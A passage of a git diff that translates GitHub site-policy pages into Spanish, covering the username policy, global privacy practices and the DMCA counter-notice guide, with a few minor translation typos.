+Si alguna parte de este Acuerdo es considerada inválida o no aplicable, esa parte del Acuerdo será interpretada para reflejar la intención original de las partes. Las partes restantes permanecerán en pleno vigor y efecto. Cualquier incumplimiento por parte de GitHub para hacer cumplir cualquier disposición de este Acuerdo no será considerado una renuncia a nuestro derecho a hacer cumplir dicha disposición. Nuestros derechos en virtud de este Acuerdo sobrevivirán a cualquier rescisión de este Acuerdo.
 
-### 5. Amendments; Complete Agreement
-This Agreement may only be modified by a written amendment signed by an authorized representative of GitHub, or by the posting by GitHub of a revised version in accordance with [Section Q. Changes to These Terms](#q-changes-to-these-terms). These Terms of Service, together with the GitHub Privacy Statement, represent the complete and exclusive statement of the agreement between you and us. This Agreement supersedes any proposal or prior agreement oral or written, and any other communications between you and GitHub relating to the subject matter of these terms including any confidentiality or nondisclosure agreements.
+### 5. Enmiendas, acuerdo completo
+Este Acuerdo sólo puede modificarse por una enmienda por escrito firmada por un representante autorizado de GitHub o por la publicación de GitHub de una versión revisada de acuerdo con la sección [Q. Cambios a estos términos](#q-changes-to-these-terms). Estos Términos de Servicio, junto con la Declaración de Privacidad de GitHub, representan la declaración completa y exclusiva del acuerdo entre tu persona y nosotros. Este Acuerdo sustituye cualquier propuesta o acuerdo previo oral o escrito, y cualquier otra comunicación entre tu persona y GitHub relacionada con el tema de estos términos, incluyendo cualquier acuerdo de confidencialidad o no divulgación.
 
-### 6. Questions
-Questions about the Terms of Service? [Contact us](https://support.github.com/contact?tags=docs-policy).
+### 6. Preguntas
+¿Preguntas sobre los Términos de Servicio? [Contáctanos](https://support.github.com/contact?tags=docs-policy).
diff --git a/translations/es-ES/content/github/site-policy/github-username-policy.md b/translations/es-ES/content/github/site-policy/github-username-policy.md
index 84c19fe327..35f3f29b7b 100644
--- a/translations/es-ES/content/github/site-policy/github-username-policy.md
+++ b/translations/es-ES/content/github/site-policy/github-username-policy.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Username Policy
+title: Política de nombre de usuario de GitHub
 redirect_from:
   - /articles/name-squatting-policy
   - /articles/github-username-policy
@@ -10,18 +10,18 @@ topics:
   - Legal
 ---
 
-GitHub account names are available on a first-come, first-served basis, and are intended for immediate and active use.
+Los nombres de cuentas de GitHub se proporcionan dependiendo de quién los reclame primero, y se pretende que se comiencen a utilizar activamente de inmediato.
 
-## What if the username I want is already taken?
+## ¿Qué pasa si el nombre de usuario que quiero ya está en uso?
 
-Keep in mind that not all activity on GitHub is publicly visible; accounts with no visible activity may be in active use.
+Ten en mente que no toda la actividad en GitHub está disponible públicamente para su consulta; puede que las cuentas sin actividad visible estén activas.
 
-If the username you want has already been claimed, consider other names or unique variations. Using a number, hyphen, or an alternative spelling might help you identify a desirable username still available.
+Si ya han reclamado el nombre de usuario que quieres, considera otros nombres o variaciones únicas de éste. Puedes identificar un nombre de usuario aún disponible si utilizas números, guiones, o una morfología alterna.
 
-## Trademark Policy
+## Política de marcas
 
-If you believe someone's account is violating your trademark rights, you can find more information about making a trademark complaint on our [Trademark Policy](/articles/github-trademark-policy/) page.
+Si consideras que la cuenta de alguien está violando tus derechos de marca, puedes encontrar más información sobre cómo hacer una queja de marca en nuestra página de [Política de Marca](/articles/github-trademark-policy/).
 
-## Name Squatting Policy
+## Política de ocupación de nombre
 
-GitHub prohibits account name squatting, and account names may not be reserved or inactively held for future use. Accounts violating this name squatting policy may be removed or renamed without notice. Attempts to sell, buy, or solicit other forms of payment in exchange for account names are prohibited and may result in permanent account suspension.
+GitHub prohibe el acaparamiento de nombres de cuenta, y dichos nombres de cuenta no pueden reservarse o mantenerse en inactividad para reclamarse posteriormente. Las cuentas que violen esta política de acaparamiento serán eliminadas o renombradas sin previo aviso. Los intentos de vender, comprar o solicitar otras formas de pago a cambio de nombres de cuenta están prohibidos y pueden resultar en una suspensión de cuenta permanente.
diff --git a/translations/es-ES/content/github/site-policy/global-privacy-practices.md b/translations/es-ES/content/github/site-policy/global-privacy-practices.md
index 4d12086d81..cbfef01f73 100644
--- a/translations/es-ES/content/github/site-policy/global-privacy-practices.md
+++ b/translations/es-ES/content/github/site-policy/global-privacy-practices.md
@@ -1,5 +1,5 @@
 ---
-title: Global Privacy Practices
+title: Prácticas de Privacidad Globales
 redirect_from:
   - /eu-safe-harbor
   - /articles/global-privacy-practices
@@ -10,66 +10,66 @@ topics:
   - Legal
 ---
 
-Effective date: July 22, 2020
+Fecha de entrada en vigor: 22 de julio del 2020
 
-GitHub provides the same high standard of privacy protection—as described in GitHub’s [Privacy Statement](/github/site-policy/github-privacy-statement#githubs-global-privacy-practices)—to all our users and customers around the world, regardless of their country of origin or location, and GitHub is proud of the level of notice, choice, accountability, security, data integrity, access, and recourse we provide. 
+GitHub Proporciona el mismo estándar alto de protección de privacidad—tal como se describe en la [Declaración de Privacidad](/github/site-policy/github-privacy-statement#githubs-global-privacy-practices) de GitHub—a todos nuestros usuarios y clientes en todo el mundo, sin importar su país de origen o ubicación, y GitHub se enorgullece del nivel de notificación, elección, responsabilidad, seguridad, integridad de datos, acceso, y recursos que proporcionamos.
 
-GitHub also complies with certain legal frameworks relating to the transfer of data from the European Economic Area, the United Kingdom, and Switzerland (collectively, “EU”) to the United States. When GitHub engages in such transfers, GitHub relies on Standard Contractual Clauses as the legal mechanism to help ensure your rights and protections travel with your personal information. In addition, GitHub is certified to the EU-US and Swiss-US Privacy Shield Frameworks. To learn more about the European Commission’s decisions on international data transfer, see this article on the [European Commission website](https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection_en).
+GitHub también cumple con ciertos marcos de trabajo relacionados con la transferencia de los datos desde el Área Económica Europea, el Reino Unido y Suiza (colectivamente conocidos como "UE") hacia los Estados Unidos. Cuando GitHub se involucra en dichas transferencias, GitHub se basa en las Cláusulas Contractuales Estándar como el mecanismo legal para ayudarlo a garantizar tus derechos y que tu información personal viaje con la protección adecuada. Adicionalmente, GitHub está certificado en los Marcos de Trabajo de Escudo de Privacidad de UE-U. S. A. y Suiza-U. S. A. Para aprender más sobre las decisiones de la Comisión Europea sobre la transferencia internacioal de datos, consulta este artículo en el [Sitio web de la Comisión Europea](https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection_en).
 
-## Standard Contractual Clauses
+## Cláusulas Contractuales Estándar
 
-GitHub relies on the European Commission-approved Standard Contractual Clauses (“SCCs”) as a legal mechanism for data transfers from the EU. SCCs are contractual commitments between companies transferring personal data, binding them to protect the privacy and security of such data. GitHub adopted SCCs so that the necessary data flows can be protected when transferred outside the EU to countries which have not been deemed by the European Commission to adequately protect personal data, including protecting data transfers to the United States. 
+GitHub se basa en las Cláusulas Contractuales Estándar aprobadas por la Comisión Europea ("SCCs") como un mecanismo legal para las transferencia de datos desde la UE. Las SCCs son compromisos contractuales entre compañías que transfieren datos personales que las vinculan para proteger la privacidad y seguridad de dichos datos. GitHub adoptó las SCCs para que los flujos de datos necesarios puedan protegerse cuando se transfieren hacia afuera de la UE a países que la Comisión Europea no ha estimado pueden proteger los datos personales adecuadamente, incluyendo el proteger la transferencia de estos hacia los Estados Unidos.
 
-To learn more about SCCs, see this article on the [European Commission website](https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection/standard-contractual-clauses-scc_en). 
+Para aprender más sobre las SCCs, consulta este artículo en el [Sitio web dela Comisión Europea](https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection/standard-contractual-clauses-scc_en).
 
-## Privacy Shield Framework
+## Marco del Escudo de Privacidad
 
-GitHub is certified to the EU-US and Swiss-US Privacy Shield Frameworks and the commitments they entail, although GitHub does not rely on the EU-US Privacy Shield Framework as a legal basis for transfers of personal information in light of the judgment of the Court of Justice of the EU in Case C-311/18.
+GitHub está certificado en los Marcos de Trabajo de Escudo de Privacidad de UE-U. S. A y U. S. A-Suiza y en los compromisos que éstos conllevan, a pear de que GitHub no se basa en el Marco de Trabajo de Escudo de Privacidad de UE-U. S. A. como una base legal para transferencias de información personal ante el juicio de la Corte de Justicia de la UE en el caso C-311/18.
 
-The EU-US and Swiss-US Privacy Shield Frameworks are set forth by the US Department of Commerce regarding the collection, use, and retention of User Personal Information transferred from the European Union, the UK, and Switzerland to the United States. GitHub has certified to the Department of Commerce that it adheres to the Privacy Shield Principles. If our vendors or affiliates process User Personal Information on our behalf in a manner inconsistent with the principles of either Privacy Shield Framework, GitHub remains liable unless we prove we are not responsible for the event giving rise to the damage.
+Los Marcos de Trabajo de Escudo de Privacidad de UE-E.U.A. y Suiza-E.U.A. se implementan por el Departamento de Comercio de los E.U.A. de acuerdo con la recoleción, uso, y retención de la Información Personal transferida desde la Unión Europea, el Reino Unido, y Suiza hacia los Estados Unidos. GitHub ha certificado al Departamento de Comercio que se apega a los Principios del Escudo de Privacidad. Si nuestros proveedores o afiliados procesan la Información Personal de los Usuarios en nuestro nombre de forma inconsistente con los principios de cualquiera de los Marcos de Trabajo de Escudo de Privacidad, GitHub seguirá siendo responsable a menos de que provemos que no lo somos para dicho evento que genera el daño.
 
-For purposes of our certifications under the Privacy Shield Frameworks, if there is any conflict between the terms in these Global Privacy Practices and the Privacy Shield Principles, the Privacy Shield Principles shall govern. To learn more about the Privacy Shield program, and to view our certification, visit the [Privacy Shield website](https://www.privacyshield.gov/).
+Para propósitos de nuestras certificaciones bajo los Marcos de Trabajo del Escudo de Privacidad, si hubiese cualquier conflicto entre las condiciones en estas Prácticas de Privacidad Globales y en los Principios del Escudo de Privacidad, los últimos deberán prevalecer. Para obtener más información sobre el programa Escudo de Privacidad y para ver nuestra certificación, visite el sitio web [de Escudo de Privacidad](https://www.privacyshield.gov/).
 
-The Privacy Shield Frameworks are based on seven principles, and GitHub adheres to them in the following ways:
+Los Marcos de Trabajo del Escudo de Privacidad se basan en siete principios, y GitHub se apega a ellos de las siguientes formas:
 
-- **Notice**
-  - We let you know when we're collecting your personal information.
-  - We let you know, in our [Privacy Statement](/articles/github-privacy-statement/), what purposes we have for collecting and using your information, who we share that information with and under what restrictions, and what access you have to your data.
-  - We let you know that we're participating in the Privacy Shield framework, and what that means to you.
-  - We have a {% data variables.contact.contact_privacy %} where you can contact us with questions about your privacy.
-  - We let you know about your right to invoke binding arbitration, provided at no cost to you, in the unlikely event of a dispute.
-  - We let you know that we are subject to the jurisdiction of the Federal Trade Commission.
-- **Choice**
-  - We let you choose what happens to your data. Before we use your data for a purpose other than the one for which you gave it to us, we will let you know and get your permission.
-  - We will provide you with reasonable mechanisms to make your choices.
-- **Accountability for Onward Transfer**
-  - When we transfer your information to third party vendors that are processing it on our behalf, we are only sending your data to third parties, under contract with us, that will safeguard it consistently with our Privacy Statement. When we transfer your data to our vendors under Privacy Shield, we remain responsible for it.
-  - We share only the amount of data with our third party vendors as is necessary to complete their transaction.
-- **Security**
-  - We will protect your personal information with [all reasonable and appropriate security measures](https://github.com/security).
-- **Data Integrity and Purpose Limitation**
-  - We only collect your data for the purposes relevant for providing our services to you.
-  - We collect as little information about you as we can, unless you choose to give us more.
-  - We take reasonable steps to ensure that the data we have about you is accurate, current, and reliable for its intended use.
-- **Access**
-  - You are always able to access the data we have about you in your [user profile](https://github.com/settings/profile). You may access, update, alter, or delete your information there.
-- **Recourse, Enforcement and Liability**
-  - If you have questions about our privacy practices, you can reach us with our {% data variables.contact.contact_privacy %} and we will respond within 45 days at the latest.
-  - In the unlikely event of a dispute that we cannot resolve, you have access to binding arbitration at no cost to you. Please see our [Privacy Statement](/articles/github-privacy-statement/) for more information.
-  - We will conduct regular audits of our relevant privacy practices to verify compliance with the promises we have made.
-  - We require our employees to respect our privacy promises, and violation of our privacy policies is subject to disciplinary action up to and including termination of employment.
+- **Notificaciones**
+  - Te informamos cuando recopilamos tu información personal.
+  - Te damos a conocer, en nuestra [Declaración de Privacidad](/articles/github-privacy-statement/)de los fines que tenemos para recopilar y utilizar tu información a quién compartimos esa información con y bajo qué restricciones y qué acceso tiene a tus datos.
+  - Te informamos que estamos participando en el marco del Escudo de Privacidad y lo qué significa para ti.
+  - Tenemos un {% data variables.contact.contact_privacy %} donde puedes contactarnos con preguntas sobre tu privacidad.
+  - Te informamos acerca de tu derecho a invocar arbitraje vinculante, sin costo alguno para ti, en el improbable caso de una disputa.
+  - Te informamos que estamos sujetos a la jurisdicción de la Comisión Federal de Comercio.
+- **Opción**
+  - Te permitimos elegir lo que sucede con tus datos. Antes de que utilicemos tus datos para un propósito distinto para el cual nos los proporcionaste, te avisaremos y obtendremos tu permiso.
+  - Te proporcionarremos mecanismos razonables para hacer tu elección.
+- **Responsabilidad de la transferencia continua**
+  - Cuando transferimos tu información a proveedores de terceros que la procesan en nuestro nombre, sólo estamos enviando tus datos a terceros, bajo contrato con nosotros, que los salvaguardarán consistentemente con nuestra Declaración de Privacidad. Cuando transferimos tus datos a nuestros proveedores bajo el Escudo de Privacidad, seguimos siendo responsables de ello.
+  - Compartimos sólo la cantidad de datos con nuestros proveedores de terceros cuando sea necesario para completar tu transacción.
+- **Seguridad**
+  - Protegeremos tu información personal con [todas las medidas de seguridad razonables y apropiadas](https://github.com/security).
+- **Limitación de integridad y propósito de datos**
+  - Solo recopilamos tus datos para las finalidades pertinentes para proporcionarte nuestros servicios.
+  - Recopilamos tan poca información tuya como podamos, a menos que decidas proporcionarnos más.
+  - Tomamos medidas razonables para asegurar que tus datos sean exactos, actuales y fiables para su uso previsto.
+- **Acceso**
+  - Siempre puedes acceder a los datos que tenemos sobre ti en tu perfil de usuario [](https://github.com/settings/profile). Puedes ingresar, actualizar, alterar o eliminar tu información allí.
+- **Recursos, cumplimiento y responsabilidad**
+  - Si tienes alguna pregunta sobre nuestras prácticas de privacidad, puedes contactarnos con nuestro {% data variables.contact.contact_privacy %} y responderemos en un plazo máximo de 45 días.
+  - En el improbable caso de una disputa que no podamos resolver, tienes acceso a un arbitraje vinculante sin coste alguno para ti. Consulta la [Declaración de privacidad](/articles/github-privacy-statement/)para obtener más información.
+  - Realizaremos auditorías periódicas de nuestras prácticas de privacidad relevantes para verificar el cumplimiento de las promesas que hemos hecho.
+  - Exigimos a nuestros empleados que respeten nuestras promesas de privacidad y la violación de nuestras políticas de privacidad está sujeta a una acción disciplinaria e inclusive hasta la terminación del empleo.
 
 
-### Dispute resolution process
+### Proceso de resolución de disputas
 
-As further explained in the [Resolving Complaints](/github/site-policy/github-privacy-statement#resolving-complaints) section of our [Privacy Statement](/github/site-policy/github-privacy-statement), we encourage you to contact us should you have a Privacy Shield-related (or general privacy-related) complaint. For any complaints that cannot be resolved with GitHub directly, we have selected to cooperate with the relevant EU Data Protection Authority, or a panel established by the European data protection authorities, for resolving disputes with EU individuals, and with the Swiss Federal Data Protection and Information Commissioner (FDPIC) for resolving disputes with Swiss individuals. Please contact us if you’d like us to direct you to your data protection authority contacts.
+Como se explica a detalle en la sección de [Resolución de Quejas](/github/site-policy/github-privacy-statement#resolving-complaints) de nuestra [Declaración de Privacidad](/github/site-policy/github-privacy-statement), te exhortamos a contactarnos en caso de que tengas alguna queja relacionada con el Escudo de Privacidad (o sobre la privacidad en general). Para cualquier queja que no pueda resolverse directamente con GitHub, hemos escogido cooperar con la Autoridad de Protección de datos de la UE reelevante, o con un panel establecido por las autoridades europeas de protección de datos, para resolver disputas con los individuos de la UE, y con la Comisión Federal para la Protección de Datos y la Información (FDPIC, por sus siglas en inglés) para resolver las disputas con los individuos suizos. Por favor contáctanos si deseas que te dirijamos a los contactos de tu autoridad de protección de datos.
 
-Additionally, if you are a resident of an EU member state, you have the right to file a complaint with your local supervisory authority.
+Además, si eres residente de un estado miembro de la UE, tienes derecho a presentar una queja ante tu autoridad supervisora local.
 
-### Independent arbitration
+### Arbitraje independiente
 
-Under certain limited circumstances, EU, European Economic Area (EEA), Swiss, and UK individuals may invoke binding Privacy Shield arbitration as a last resort if all other forms of dispute resolution have been unsuccessful. To learn more about this method of resolution and its availability to you, please read more about [Privacy Shield](https://www.privacyshield.gov/article?id=ANNEX-I-introduction). Arbitration is not mandatory; it is a tool you can use if you so choose.
+En determinadas circunstancias limitadas, la UE, el Espacio Económico Europeo (EEE), Suiza y las personas del Reino Unido pueden recurrir al arbitraje vinculante del Escudo de privacidad como último recurso, si todas las demás formas de resolución de disputas no tuvieron éxito. Para obtener más información acerca de este método de resolución y su disponibilidad, consulta más detalles sobre el [Escudo de privacidad](https://www.privacyshield.gov/article?id=ANNEX-I-introduction). El arbitraje no es obligatorio, es una herramienta que puedes utilizar si así lo decides.
 
-We are subject to the jurisdiction of the US Federal Trade Commission (FTC).
-  
-Please see our [Privacy Statement](/articles/github-privacy-statement/) for more information.
+Estamos sujetos a la jurisdicción de la Comisión Federal de Comercio (FTC) de los EE. UU.
+
+Consulta la [Declaración de privacidad](/articles/github-privacy-statement/)para obtener más información.
diff --git a/translations/es-ES/content/github/site-policy/guide-to-submitting-a-dmca-counter-notice.md b/translations/es-ES/content/github/site-policy/guide-to-submitting-a-dmca-counter-notice.md
index e2dbb93740..6bf85f9468 100644
--- a/translations/es-ES/content/github/site-policy/guide-to-submitting-a-dmca-counter-notice.md
+++ b/translations/es-ES/content/github/site-policy/guide-to-submitting-a-dmca-counter-notice.md
@@ -1,5 +1,5 @@
 ---
-title: Guide to Submitting a DMCA Counter Notice
+title: Guía para enviar una contranotificación de DMCA
 redirect_from:
   - /dmca-counter-notice-how-to
   - /articles/dmca-counter-notice-how-to
@@ -11,72 +11,60 @@ topics:
   - Legal
 ---
 
-This guide describes the information that GitHub needs in order to process a counter notice to a DMCA takedown request. If you have more general questions about what the DMCA is or how GitHub processes DMCA takedown requests, please review our [DMCA Takedown Policy](/articles/dmca-takedown-policy).
+Esta guía describe la información que GitHub necesita para procesar una contra notificación de DMCA. Si tienes preguntas más generales sobre qué es la DMCA o cómo procesa GitHub las solicitudes de retiro de DMCA, por favor revisa nuestra [política de retiro de DMCA](/articles/dmca-takedown-policy).
 
-If you believe your content on GitHub was mistakenly disabled by a DMCA takedown request, you have the right to contest the takedown by submitting a counter notice. If you do, we will wait 10-14 days and then re-enable your content unless the copyright owner initiates a legal action against you before then. Our counter-notice form, set forth below, is consistent with the form suggested by the DMCA statute, which can be found at the U.S. Copyright Office's official website: <https://www.copyright.gov>.
+Si consideras que tu contenido en GitHub fue inhabilitado erróneamente por una solicitud de retiro de DMCA. tienes derecho de disputar el retiro enviando una contra notificación. Si lo haces, esperaremos 10-14 días y posteriormente volveremos a habilitar tu contenido a menos que el propietario de los derechos de autor inicie una acción legal contra ti antes de entonces. Nuestro formulario de contra notificación indicado a continuación es coherente con el formulario sugerido por el estatuto DMCA, que se puede encontrar en el sitio web oficial de la Oficina de Derechos de Autor de EE. UU.: <https://www.copyright.gov>. Sitio web oficial de la Oficina de Derechos de Autor: <https://www.copyright.gov>.
 
-As with all legal matters, it is always best to consult with a professional about your specific questions or situation. We strongly encourage you to do so before taking any action that might impact your rights. This guide isn't legal advice and shouldn't be taken as such.
+Como en todas las cuestiones jurídicas, siempre es mejor consultar con un profesional sobre tus preguntas o situación específicas. Te recomendamos enfáticamente que lo hagas antes de emprender cualquier acción que pueda afectar tus derechos. Esta guía no es asesoramiento legal y no debería ser tomada como tal.
 
-## Before You Start
+## Antes de comenzar
 
-***Tell the Truth.***
-The DMCA requires that you swear to your counter notice *under penalty of perjury*. It is a federal crime to intentionally lie in a sworn declaration. (*See* [U.S. Code, Title 18, Section 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm).) Submitting false information could also result in civil liability—that is, you could get sued for money damages.
+***Di la Verdad.*** La DMCA requiere que jures tu contra notificación *bajo pena de perjurio*. Es un crimen federal mentir intencionadamente en una declaración jurada. (*Consulta* [el Código de lso EE.UU. , Título 18, Sección 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm).) La presentación de información falsa también podría resultar en responsabilidad civil, es decir, podrías ser demandado por daños monetarios.
 
-***Investigate.***
-Submitting a DMCA counter notice can have real legal consequences. If the complaining party disagrees that their takedown notice was mistaken, they might decide to file a lawsuit against you to keep the content disabled. You should conduct a thorough investigation into the allegations made in the takedown notice and probably talk to a lawyer before submitting a counter notice.
+***Investiga.*** Enviar una contra notificación DMCA puede tener consecuencias legales reales. Si la parte que denuncia no está de acuerdo en que tu notificación de retiro fue errónea, podrían decidir presentar una demanda contra ti para mantener el contenido deshabilitado. Deber llevar a cabo una investigación exhaustiva sobre las acusaciones hechas en la notificación de retiro y probablemente hablar con un abogado antes de enviar una contra notificación.
 
-***You Must Have a Good Reason to Submit a Counter Notice.***
-In order to file a counter notice, you must have "a good faith belief that the material was removed or disabled as a result of mistake or misidentification of the material to be removed or disabled." ([U.S. Code, Title 17, Section 512(g)](https://www.copyright.gov/title17/92chap5.html#512).) Whether you decide to explain why you believe there was a mistake is up to you and your lawyer, but you *do* need to identify a mistake before you submit a counter notice. In the past, we have received counter notices citing mistakes in the takedown notice such as: the complaining party doesn't have the copyright; I have a license; the code has been released under an open-source license that permits my use; or the complaint doesn't account for the fact that my use is protected by the fair-use doctrine. Of course, there could be other defects with the takedown notice.
+***Debes tener una razón fundada para emitir una contranotificación.*** Para emitir una contranotificación, deberás tener una "certeza de buena fe de que el material se eliminó o inhabilitó como resultado de un error o mala identificación del material que se quiere eliminar o inhabilitar". ([Código de los EE.UU. Título 17, Sección 512(g)](https://www.copyright.gov/title17/92chap5.html#512)). Ya sea que decidas explicar o no el por qué crees que hubo un error, dependerá de ti y de tu abogado, pero *sí* necesitas identificar un error antes de emitir una contranotificación. En el pasado, recibimos contra notificaciones que citan errores en la notificación de retiro, tales como: La parte que reclama no tiene el derecho de autor; tengo una licencia; el código se liberó bajo una licencia de código abierto que permite mi uso; o la queja no tiene en cuenta el hecho de que mi uso está protegido por la doctrina del uso legal. Por supuesto, podría haber otros defectos con la notificación de retiro.
 
-***Copyright Laws Are Complicated.***
-Sometimes a takedown notice might allege infringement in a way that seems odd or indirect. Copyright laws are complicated and can lead to some unexpected results. In some cases a takedown notice might allege that your source code infringes because of what it can do after it is compiled and run. For example:
-  - The notice may claim that your software is used to [circumvent access controls](https://www.copyright.gov/title17/92chap12.html) to copyrighted works.
-  - [Sometimes](https://www.copyright.gov/docs/mgm/) distributing software can be copyright infringement, if you induce end users to use the software to infringe copyrighted works.
-  - A copyright complaint might also be based on [non-literal copying](https://en.wikipedia.org/wiki/Substantial_similarity) of design elements in the software, rather than the source code itself — in other words, someone has sent a notice saying they think your *design* looks too similar to theirs.
+***Las leyes de derechos de autor son complicadas.*** En ocasiones una notificación de retiro podría hacer referencia a una infracción que parece extraña o indirecta. Las leyes de derechos de autor son complicadas y pueden dar lugar a resultados inesperados. En algunos casos una notificación de retiro podría señalar que su código fuente infringe por lo que puede ocasiones posteriormente que se compile y ejecute. Por ejemplo:
+  - La notificación podrá reclamar que tu software se utiliza para [evitar los controles de acceso](https://www.copyright.gov/title17/92chap12.html) a los trabajos con derechos de autor.
+  - [Algunas veces](https://www.copyright.gov/docs/mgm/) la distribución de software puede considerarse como una infracción a los derechos de autor, si induces a los usuarios finales a utilizar el software para infringir el trabajo con derechos de autor.
+  - Una queja de derechos de autor también podría basarse en [copia no literal](https://en.wikipedia.org/wiki/Substantial_similarity) de elementos de diseño en el software, en lugar del código fuente en sí mismo, en otras palabras, alguien envió una notificación diciendo que piensa que tu *diseño* es demasiado similar al de ellos.
 
-These are just a few examples of the complexities of copyright law. Since there are many nuances to the law and some unsettled questions in these types of cases, it is especially important to get professional advice if the infringement allegations do not seem straightforward.
+Estos son sólo algunos ejemplos de la complejidad de la legislación sobre derechos de autor. Dado que hay muchos matices a la ley y algunas preguntas sin resolver en este tipo de casos, es especialmente importante obtener asesoramiento profesional si las acusaciones de infracción no parecen sencillas.
 
-***A Counter Notice Is A Legal Statement.***
-We require you to fill out all fields of a counter notice completely, because a counter notice is a legal statement — not just to us, but to the complaining party. As we mentioned above, if the complaining party wishes to keep the content disabled after receiving a counter notice, they will need to initiate a legal action seeking a court order to restrain you from engaging in infringing activity relating to the content on GitHub. In other words, you might get sued (and you consent to that in the counter notice).
+***Una contra notificación es una declaración legal.*** Te pedimos que completes todos los campos de una contra notificación en su totalidad, porque una denuncia es una declaración legal — no sólo para nosotros, sino para la parte demandante. Como mencionamos anteriormente, si la parte reclamante desea mantener el contenido desactivado después de recibir una contra notificación, tendrán que iniciar una acción legal que busque una orden judicial para impedirle participar en actividades de infracción relacionadas con el contenido de GitHub. En otras palabras, podrías ser demandado (y das tu consentimiento en la contra notificación).
 
-***Your Counter Notice Will Be Published.***
-As noted in our [DMCA Takedown Policy](/articles/dmca-takedown-policy#d-transparency), **after redacting personal information,** we publish all complete and actionable counter notices at <https://github.com/github/dmca>. Please also note that, although we will only publicly publish redacted notices, we may provide a complete unredacted copy of any notices we receive directly to any party whose rights would be affected by it. If you are concerned about your privacy, you may have a lawyer or other legal representative file the counter notice on your behalf.
+***Tu contra notificación se publicará.*** Como se indica en nuestra [política de retiro de DMCA](/articles/dmca-takedown-policy#d-transparency), **después de redactar información personal,** publicamos todas las contra notificaciones completas y accionables en [https://github. om/github/dmca](https://github.com/github/dmca). También ten en cuenta que, aunque sólo publicaremos notificaciones rectificadas, podemos proporcionar una copia completa y no editada de cualquier notificación que recibamos directamente para cualquier parte cuyos derechos se verían afectados por esta. Si estás preocupado por tu privacidad, podrías pedir que un abogado u otro representante legal presente la contra notificación en tu nombre.
 
-***GitHub Isn't The Judge.***
-GitHub exercises little discretion in this process other than determining whether the notices meet the minimum requirements of the DMCA. It is up to the parties (and their lawyers) to evaluate the merit of their claims, bearing in mind that notices must be made under penalty of perjury.
+***GitHub no es el juez.*** GitHub ejerce poca discreción en este proceso además de determinar si las notificaciones cumplen con los requisitos mínimos de la DMCA. Corresponde a las partes (y a sus abogados) evaluar el mérito de sus reclamaciones, teniendo en cuenta que los avisos deben realizarse bajo pena de perjurio.
 
-***Additional Resources.***
-If you need additional help, there are many self-help resources online. Lumen has an informative set of guides on [copyright](https://www.lumendatabase.org/topics/5) and [DMCA safe harbor](https://www.lumendatabase.org/topics/14). If you are involved with an open-source project in need of legal advice, you can contact the [Software Freedom Law Center](https://www.softwarefreedom.org/about/contact/). And if you think you have a particularly challenging case, non-profit organizations such as the [Electronic Frontier Foundation](https://www.eff.org/pages/legal-assistance) may also be willing to help directly or refer you to a lawyer.
+***Recursos Adicionales.*** Si necesitas ayuda adicional, hay muchos recursos de autoayuda en línea. Lumen tiene un conjunto informativo de guías sobre [copyright](https://www.lumendatabase.org/topics/5) y [puerto seguro de DMCA](https://www.lumendatabase.org/topics/14). Si estás implicado con un proyecto de código abierto que necesita asesoramiento legal, puedes ponerse en contacto con el [Centro de asesoramiento legal sobre software libre](https://www.softwarefreedom.org/about/contact/). Y si consideras que tienes un caso especialmente desafiante, organizaciones sin fines de lucro como la [Electronic Frontier Foundation](https://www.eff.org/pages/legal-assistance) también pueden estar dispuestas a ayudarte directamente o a referirte a un abogado.
 
-## Your Counter Notice Must...
+## Tu contra notificación debe...
 
-1. **Include the following statement: "I have read and understand GitHub's Guide to Filing a DMCA Counter Notice."**
-We won't refuse to process an otherwise complete counter notice if you don't include this statement; however, we will know that you haven't read these guidelines and may ask you to go back and do so.
+1. **Incluir la siguiente declaración: "He leído y entendido la guía de GitHub para presentar una contra notificación DMCA.** No nos negaremos a procesar una contra notificación completa si no incluye esta declaración; sin embargo, sabremos que no has leído estas directrices y podríamos solicitarte que lo hagas.
 
-2. ***Identify the content that was disabled and the location where it appeared.***
-The disabled content should have been identified by URL in the takedown notice. You simply need to copy the URL(s) that you want to challenge.
+2. ***Identificar el contenido que fue desactivado y la ubicación donde apareció.*** El contenido deshabilitado debería haber sido identificado por la URL en la notificación de retiro. Simplemente necesitas copiar la(s) URL(s) que deseas cuestionar.
 
-3. **Provide your contact information.**
-Include your email address, name, telephone number, and physical address.
+3. **Proporcionar tu información de contacto.** Incluye tu dirección de correo electrónico, nombre, número de teléfono y dirección.
 
-4. ***Include the following statement: "I swear, under penalty of perjury, that I have a good-faith belief that the material was removed or disabled as a result of a mistake or misidentification of the material to be removed or disabled."***
-You may also choose to communicate the reasons why you believe there was a mistake or misidentification. If you think of your counter notice as a "note" to the complaining party, this is a chance to explain why they should not take the next step and file a lawsuit in response. This is yet another reason to work with a lawyer when submitting a counter notice.
+4. ***Incluir la siguiente declaración: "Juro, bajo pena de perjurio, que tengo una creencia de buena fe de que el material se eliminó o deshabilitó como resultado de un error o mala identificación del material a ser eliminado o desactivado.*** También puedes elegir comunicar las razones por las que crees que hubo un error o una mala identificación. Si piensas en tu contra notificación como una "nota" a la parte reclamante, Esta es una oportunidad para explicar por qué no deben dar el siguiente paso y presentar una demanda en respuesta. Esta es otra razón más para trabajar con un abogado al enviar una contra notificación.
 
-5. ***Include the following statement: "I consent to the jurisdiction of Federal District Court for the judicial district in which my address is located (if in the United States, otherwise the Northern District of California where GitHub is located), and I will accept service of process from the person who provided the DMCA notification or an agent of such person."***
+5. ***Incluir la siguiente declaración: "Acepto la jurisdicción del Tribunal Federal de Distrito para el distrito judicial en el que se encuentra mi dirección (si es en los Estados Unidos, de lo contrario el Distrito Norte de California donde se encuentra GitHub) y aceptaré el servicio de trámite de la persona que proporcionó la notificación del DMCA o de un agente de dicha persona."***
 
-6. **Include your physical or electronic signature.**
+6. **Incluye tu firma física o electrónica.**
 
-## How to Submit Your Counter Notice
+## Cómo enviar tu contra notificación
 
-The fastest way to get a response is to enter your information and answer all the questions on our {% data variables.contact.contact_dmca %}.
+La forma más rápida de obtener una respuesta es ingresar tu información y responder a todas las preguntas de nuestro {% data variables.contact.contact_dmca %}.
 
